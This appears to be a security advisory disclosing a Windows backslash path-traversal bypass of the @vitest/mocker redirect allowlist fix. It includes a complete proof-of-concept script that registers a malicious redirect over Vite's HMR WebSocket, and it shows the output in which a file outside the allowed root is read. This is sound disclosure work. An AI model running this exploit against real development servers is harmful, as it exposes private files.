Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect allowlist fix

readFile(mock.redirect, 'utf-8')

Vite's allowlist check expects a normalized absolute filesystem path. On Windows, POSIX joining does not normalize backslashes, but readFile interprets them as separators. The check and the sink therefore interpret the same string differently.

The authenticated browser RPC fallback in packages/browser/src/node/rpc.ts is not affected: it joins the path with pathe, which converts backslashes to forward slashes before the access check. The reproduction below targets the public mocker WebSocket registration path.

Preconditions and impact

A client that can reach a Vite server using the public mockerPlugin or standalone interceptorPlugin WebSocket registration can register a redirect mock. On Windows, the client can then request the registered module and read a file outside server.fs.allow that the Vitest/Vite process account can access. Vitest Browser Mode does not register these WebSocket handlers in the affected versions.

The reproduction uses an unauthenticated Vite HMR WebSocket connection and a normal HTTP GET. It does not call the plugin's internal transform API. The practical network reachability is the same deployment precondition described by the original advisory; default loopback-only development servers are correspondingly less exposed.

Reproduction

Tested on GitHub-hosted Windows Server 2025 with Node.js 22. The test creates only temporary synthetic files: a Vite root directory and a sibling secret.txt containing a canary.

Install dependencies for either affected line:

npm install @vitest/[email protected] [email protected] [email protected]
# or
npm install @vitest/[email protected] [email protected] [email protected]
node poc.mjs

poc.mjs:

import { mkdir, writeFile } from 'node:fs/promises'
import { join } from 'node:path'
import { tmpdir } from 'node:os'
import { randomUUID } from 'node:crypto'
import { interceptorPlugin } from '@vitest/mocker/node'
import { createServer } from 'vite'
import { WebSocket } from 'ws'

const base = join(tmpdir(), `vitest-path-${randomUUID()}`)
const root = join(base, 'root')
const secret = join(base, 'secret.txt')
await mkdir(root, { recursive: true })
await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')

const server = await createServer({
  root,
  configFile: false,
  logLevel: 'silent',
  server: { fs: { allow: [root] } },
  plugins: [
    {
      name: 'validation:virtual-modules',
      enforce: 'pre',
      resolveId(id) {
        if (id === '/control' || id === '/bypass') return id
      },
    },
    interceptorPlugin(),
  ],
})

await server.listen()
const port = new URL(server.resolvedUrls.local[0]).port
const baseUrl = server.resolvedUrls.local[0]

function register(id, redirect) {
  return new Promise((resolve, reject) => {
    const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')
    const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)
    socket.on('message', (raw) => {
      let message
      try { message = JSON.parse(raw.toString()) } catch { return }
      if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {
        clearTimeout(timer)
        socket.close()
        resolve()
      }
    })
    socket.on('open', () => socket.send(JSON.stringify({
      type: 'custom',
      event: 'vitest:interceptor:register',
      data: { type: 'redirect', raw: '', id, url: id, redirect },
    })))
    socket.on('error', reject)
  })
}

try {
  await register('/control', 'traversal:../secret.txt')
  const controlResponse = await fetch(new URL('/control', baseUrl))
  const controlBody = await controlResponse.text()

  await register('/bypass', 'traversal:..\\secret.txt')
  const bypassResponse = await fetch(new URL('/bypass', baseUrl))
  const bypassBody = await bypassResponse.text()

  const result = {
    platform: process.platform,
    root,
    outsideFile: secret,
    slashTraversalStatus: controlResponse.status,
    slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    backslashTraversalStatus: bypassResponse.status,
    backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,
    expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1',
  }
  console.log(JSON.stringify(result, null, 2))
  const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked
    ? !result.backslashTraversalReturnedOutsideCanary
    : result.backslashTraversalReturnedOutsideCanary
  if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1
} finally {
  await server.close()
}

Observed with @vitest/[email protected]:

{
  "platform": "win32",
  "slashTraversalStatus": 404,
  "slashTraversalRejected": true,
  "backslashTraversalStatus": 200,
  "backslashTraversalReturnedOutsideCanary": true,
  "returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY",
  "expectedBackslashTraversalBlocked": false
}

The same result was observed with @vitest/[email protected].

This includes two useful controls:

1. traversal:../secret.txt is rejected and returns 404, confirming the published forward-slash fix is active.
2. traversal:..\secret.txt returns 200 and the exact outside-root canary, confirming a Windows separator bypass rather than an unrelated route or fixture response.